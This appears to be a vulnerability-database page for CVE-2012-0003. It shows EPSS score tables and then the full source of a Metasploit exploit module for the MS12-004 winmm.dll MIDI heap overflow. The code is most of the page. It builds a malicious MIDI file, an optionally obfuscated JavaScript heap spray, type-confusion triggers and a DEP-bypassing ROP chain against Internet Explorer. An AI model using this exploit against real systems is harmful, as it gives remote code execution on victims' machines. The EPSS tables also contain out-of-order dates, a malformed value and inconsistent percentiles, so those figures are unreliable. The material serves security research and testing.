CVE-2012-0003 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	93.11%	–	–
2022-03-27	–	–	92.88%	–	–
2022-06-26	–	–	92.02%	–	–
2023-03-05	–	–	90.45%	–	–
2023-03-12	–	–	–	97.27%	–
2023-06-11	–	–	–	97.21%	–
2023-08-13	–	–	–	97.26%	–
2023-12-10	–	–	–	97.11%	–
2024-02-04	–	–	–	97.18%	–
2024-03-24	–	–	–	97.28%	–
2024-06-02	–	–	–	97.32%	–
2024-07-14	–	–	–	97.34%	–
2024-09-01	–	–	–	97.3%	–
2024-12-22	–	–	–	97.22%	–
2025-01-26	–	–	–	96.92%	–
2025-03-16	–	–	–	96.89%	–
2025-01-19	–	–	–	97.22%	–
2025-02-02	–	–	–	96.92%	–
2025-03-18	–	–	–	–	88.43%
2025-03-18	–	–	–	–	88.43,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-03-27	1%
2022-06-26	1%
2023-03-05	1%
2023-03-12	1%
2023-06-11	1%
2023-08-13	1%
2023-12-10	1%
2024-02-04	1%
2024-03-24	1%
2024-06-02	1%
2024-07-14	1%
2024-09-01	1%
2024-12-22	1%
2025-01-26	1%
2025-03-16	1%
2025-01-19	1%
2025-02-02	1%
2025-03-18	99%
2025-03-18	99%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", 'Description' => %q{ This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shane Garrett', #Initial discovery (IBM X-Force) 'juan vazquez', 'sinn3r', ], 'References' => [ [ 'MSB', 'MS12-004'], [ 'CVE', '2012-0003' ], [ 'OSVDB', '78210'], [ 'BID', '51292'], [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ], ], 'Payload' => { 'Space' => 1024, }, 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { # xchg ecx,esp # or byte ptr [eax],al # add byte ptr [edi+5Eh],bl # ret 8 # From IMAGEHLP 'Rop' => true, 'StackPivot' => 0x76C9B4C2, 'DispatchDst' => 0x0c0c1be4 } ], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(request) agent = request.headers['User-Agent'] vprint_status("Request from: #{agent}") if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP SP3 + IE 6.0 return targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Windows XP SP3 + IE 7.0 return targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ #Windows XP SP3 + IE 8.0 + JRE6 return targets[3] else return nil end end def get_midi # MIDI Fileformat Reference: # http://www.sonicspot.com/guide/midifiles.html # # Event Types: # 0x08 = Note Off (when MIDI key is released) # 0x09 = Note On (when MIDI key is pressed) # 0x0A = Note aftertouch (pressure change on the pressed MIDI key) # 0x0B = Controller Event (MIDI channels state) # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel) # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel) # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value) # 0x0F = Meta Events (not sent or received over a midi port) # Structure: # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event) # Problem: # Windows Media Player fails to manage Note On and Note Off Events # Track Chunk Data tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D" # Meta Event - Sequence/Track Name tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00" # Midi Channel Event - Program Change tc << "\x00\xC9\x28" # Midi Channel Event - Controller tc << "\x00\xB9\x07\x64" # Midi Channel Event - Controller tc << "\x00\xB9\x0A\x40" # Midi Channel Event - Controller tc << "\x00\xB9\x7B\x00" # Midi Channel Event - Controller tc << "\x00\xB9\x5B\x28" # Midi Channel Event - Controller tc << "\x00\xB9\x5D\x00" # Midi Channel Event - Note On tc << "\x85\x50\x99\x23\x7F" # Corruption events # Midi Channel Event - Note On tc << "\x00\x9F\xb2\x73" # Ends Corruption events # Meta Event - End Of Track tc << "\x00\xFF\x2F\x00" m = '' # HEADERCHUNK Header m << "MThd" # Header m << "\x00\x00\x00\x06" # Chunk size m << "\x00\x00" # Format Type m << "\x00\x01" # Number of tracks m << "\x00\x60" # Time division # TRACKCHUNK header m << "MTrk" # Header m << [tc.length].pack('N') m << tc midi_name = "test_case.mid" return midi_name, m end def on_request_uri(cli, request) if request.uri =~ /\.mid$/i print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) return end #Set default target my_target = target #If user chooses automatic target, we choose one based on user agent if my_target.name =~ /Automatic/ my_target = get_target(request) if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent") return end vprint_status("Target selected: #{my_target.name}") end midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource midi_uri << "/#{@m_name}" spray = build_spray(my_target) if datastore['OBFUSCATE'] spray = ::Rex::Exploitation::JSObfu.new(spray) spray.obfuscate end trigger = build_trigger(my_target) trigger_fn = "trigger" if datastore['OBFUSCATE'] trigger = ::Rex::Exploitation::JSObfu.new(trigger) trigger.obfuscate trigger_fn = find_trigger_fn(trigger.to_s) end html = %Q| <html> <head> <script language='javascript'> #{spray} </script> <script language='javascript'> #{trigger} </script> <script for=audio event=PlayStateChange(oldState,newState)> if (oldState == 3 && newState == 0) { #{trigger_fn}(); } </script> </head> <body> <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95"> <param name="fileName" value="#{midi_uri}"> <param name="SendPlayStateChangeEvents" value="true"> <param NAME="AutoStart" value="True"> <param name="uiMode" value="mini"> <param name="Volume" value="-300"> </object> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @m_name, @midi = get_midi super end def build_spray(my_target) # Extract string based on target if my_target.name == 'IE 8 on Windows XP SP3' js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);" else js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" end # Build shellcode based on Rop requirement if my_target['Rop'] code = create_rop_chain(my_target) code << payload.encoded shellcode = Rex::Text.to_unescape(code) else code = payload.encoded shellcode = Rex::Text.to_unescape(code) end # 1. Create big block of nops # 2. Compose one block which is nops + shellcode # 3. Repeat the block # 4. Extract string from the big block # 5. Spray spray = <<-JS var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{shellcode}"); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x1000) nops+= nops; var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; #{js_extract_str} heap_obj.gc(); for (var i=0; i < 600; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray, {:noobfu => true}) return spray end # Build the JavaScript string for the attributes def build_element(element_name, my_target) dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element = '' if my_target.name =~ /IE 8/ max = 63 # Number of attributes for IE 8 index = 1 # Where we want to confuse the type else max = 55 # Number of attributes for before IE 8 index = 0 # Where we want to confuse the type end element << "var #{element_name} = document.createElement(\"select\")" + "\n" # Build attributes 0.upto(max) do |i| obj = (i==index) ? "unescape(\"#{dst}\")" : "alert" element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n" end return element end # Feng Shui and triggering Steps: # 1. Run the garbage collector before allocations # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent) # 3. Make holes # 4. Let windows media play the crafted midi file and corrupt the heap # 5. Force the using of the confused tagVARIANT. def build_trigger(my_target) if my_target.name == 'IE 8 on Windows XP SP3' # Redoing the feng shui if fails makes it reliable js_trigger = <<-JSTRIGGER function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w1) == "string") { } else { clones[k].w1('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } JSTRIGGER select_element = build_element('selob', my_target) else js_trigger = <<-JSTRIGGER function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w0) == "string") { } else { clones[k].w0('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } JSTRIGGER select_element = build_element('selob', my_target) end trigger = <<-JS var heap = new heapLib.ie(); #{select_element} var clones=new Array(1000); function feng_shui() { heap.gc(); var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui(); #{js_trigger} JS trigger = heaplib(trigger, {:noobfu => true}) return trigger end def find_trigger_fn(trigger) fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/) if fns.nil? or fns.empty? return "trigger" else return fns.last.first end return "trigger" end def junk(n=1) tmp = [] value = rand_text(4).unpack("L")[0].to_i n.times { tmp << value } return tmp end # ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona) # Added a little of roping to adjust the stack pivoting for this case # Specific for IE8 XP SP3 case at this time def create_rop_chain(my_target) rop_gadgets = [ 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] my_target['StackPivot'], # stackpivot junk, # padding 0x7c376402, # POP EBP # RETN [msvcr71.dll] 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0xfffff800, # Value to negate, will become 0x00000201 (dwSize) 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c354901, # POP EBX # RETN [msvcr71.dll] 0xffffffff, 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c34b8d7, # POP EDI # RETN [msvcr71.dll] 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c364802, # POP ESI # RETN [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll] ].flatten.pack('V*') return rop_gadgets end end